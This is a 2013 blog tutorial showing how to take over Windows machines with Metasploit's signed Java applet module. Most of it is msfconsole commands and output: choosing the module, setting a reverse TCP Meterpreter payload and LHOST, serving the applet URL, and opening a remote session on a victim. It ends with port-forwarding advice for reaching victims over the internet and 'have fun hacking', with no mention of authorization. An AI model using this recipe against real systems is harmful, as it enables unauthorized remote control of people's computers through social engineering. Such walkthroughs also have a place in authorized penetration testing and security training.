Hack remote windows machines with metasploit | Java signed applet method

9 Flares Filament.io 9 Flares ×

Signed Java Applet exploit

In this demonstration of metasploit we shall see how to hack almost any kind of windows machine using the signed java applet technique. This is a social engineering attack that would require the victim to open a url and allow the java applet to run in the browser. This exploit works in any browser but requires the java plugin to be installed.

Technically it is not a exploit, just a bad program that runs with user permission. It location in msfconsole is exploit/multi/browser/java_signed_applet.

The description says

This exploit dynamically creates a .jar file via the 
  Msf::Exploit::Java mixin, then signs the it. The resulting signed 
  applet is presented to the victim via a web page with an applet tag. 
  The victim's JVM will pop a dialog asking if they trust the signed 
  applet. On older versions the dialog will display the value of 
  CERTCN in the "Publisher" line. Newer JVMs display "UNKNOWN" when 
  the signature is not trusted (i.e., it's not signed by a trusted 
  CA). The SigningCert option allows you to provide a trusted code 
  signing cert, the values in which will override CERTCN. If 
  SigningCert is not given, a randomly generated self-signed cert will 
  be used. Either way, once the user clicks "run", the applet executes 
  with full user permissions.

Launch msfconsole and select the exploit

msf > use exploit/multi/browser/java_signed_applet

Now lets check the options

msf  exploit(java_signed_applet) > show options

Module options (exploit/multi/browser/java_signed_applet):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
   CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
   SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   SigningCert                      no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass                   no        Password for signing key (required if SigningCert is a .pfx)
   URIPATH                          no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   1   Windows x86 (Native Payload)






The important options to set are SRVHOST and SRVPORT. The defaul values are 0.0.0.0 and 8080. You can leave them as it is. The SRVHOST is the ip address on which the webserver will be running to serve the url that is to be opened by the victim in browser. Even if SRVHOST is set to 0.0.0.0 the victim shall be able to connect to this machine using its public or network ip.

Next task is to select the payload, which is as usual the reverse meterpreter.

msf  exploit(java_signed_applet) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

Show the options once again

msf  exploit(java_signed_applet) > show options

Module options (exploit/multi/browser/java_signed_applet):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
   CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
   SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   SigningCert                      no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass                   no        Password for signing key (required if SigningCert is a .pfx)
   URIPATH                          no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Windows x86 (Native Payload)

Now the options shows the payload options too. The required options are LHOST and LPORT. The LHOST must be the public ip address or the ip address that the victim shall connect to. In our case, the victim is on the LAN, so LHOST will be set to the LAN ip of the metasploit machine.

msf  exploit(java_signed_applet) > set LHOST 192.168.1.7
LHOST => 192.168.1.7

We have set the important options, now its time to exploit. Enter exploit and hit enter.

msf  exploit(java_signed_applet) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.7:4455 
[*] Using URL: http://0.0.0.0:8080/6Dxi49m9y
[*]  Local IP: http://192.168.1.7:8080/6Dxi49m9y
[*] Server started.

As we can see the webpage server has been started on the url "http://192.168.1.7:8080/6Dxi49m9y". This is the url the victim has to open in his browser. I have a windows machine setup as the victim, in which I am going to open this url in Google Chrome. It will popup a window asking if it should allow the applet to run or not. I am going to allow it so that it can connect to metasploit.

msf  exploit(java_signed_applet) > [*] 192.168.1.2      java_signed_applet - Handling request
[*] 192.168.1.2      java_signed_applet - Handling request
[*] 192.168.1.2      java_signed_applet - Sending SiteLoader.jar. Waiting for user to click 'accept'...
[*] 192.168.1.2      java_signed_applet - Sending SiteLoader.jar. Waiting for user to click 'accept'...
[*] 192.168.1.2      java_signed_applet - Sending SiteLoader.jar. Waiting for user to click 'accept'...
[*] Sending stage (752128 bytes) to 192.168.1.2
[*] Meterpreter session 2 opened (192.168.1.7:4455 -> 192.168.1.2:1118) at 2013-04-17 17:28:20 +0530

As we can see, as soon as the applet is able to connect to metasploit, the meterpreter session starts and is available. Hit enter once to get the msf console and then check the available meterpreter sessions

[*] Meterpreter session 2 opened (192.168.1.7:4455 -> 192.168.1.2:1118) at 2013-04-17 17:28:20 +0530

msf  exploit(java_signed_applet) > 
msf  exploit(java_signed_applet) > sessions -l

Active sessions
===============

  Id  Type                   Information                          Connection
  --  ----                   -----------                          ----------
  2   meterpreter x86/win32  ----------\enlightened @ ----------  192.168.1.7:4455 -> 192.168.1.2:1118 (192.168.1.2)

Now select the meterpreter session by its id.

msf  exploit(java_signed_applet) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >

And there we are. The great meterpreter at our service. Now we have full control over the windows machine and can play around with it.

Configuring the Network

This example was tested on a LAN. If the victim is somewhere over the internet than the LHOST of the payload has to be set to the public internet ip address. Also if your metasploit machine is behind a router, then you need to setup port forwarding correctly so that incoming connections to LPORT are send to your machine.

You would also need to port forward SRVPORT to your metasploit machine, so that the browser request to open the applet url is send to your machine.

For more details check the metasploit documentation. So have fun hacking!!

Last Updated On : 17th April 2013

Subscribe to get updates delivered to your inbox

About Silver Moon

Php developer, blogger and Linux enthusiast. He can be reached at m00n.silv3r@gmail.com. Or find him on

  • hackros

    thats work for my in my remote pc but its work out side of my network?

  • Muhammad Zia Shahid

    stuck in session open

9 Flares Twitter 1 Facebook 6 Google+ 2 LinkedIn 0 StumbleUpon 0 Filament.io 9 Flares ×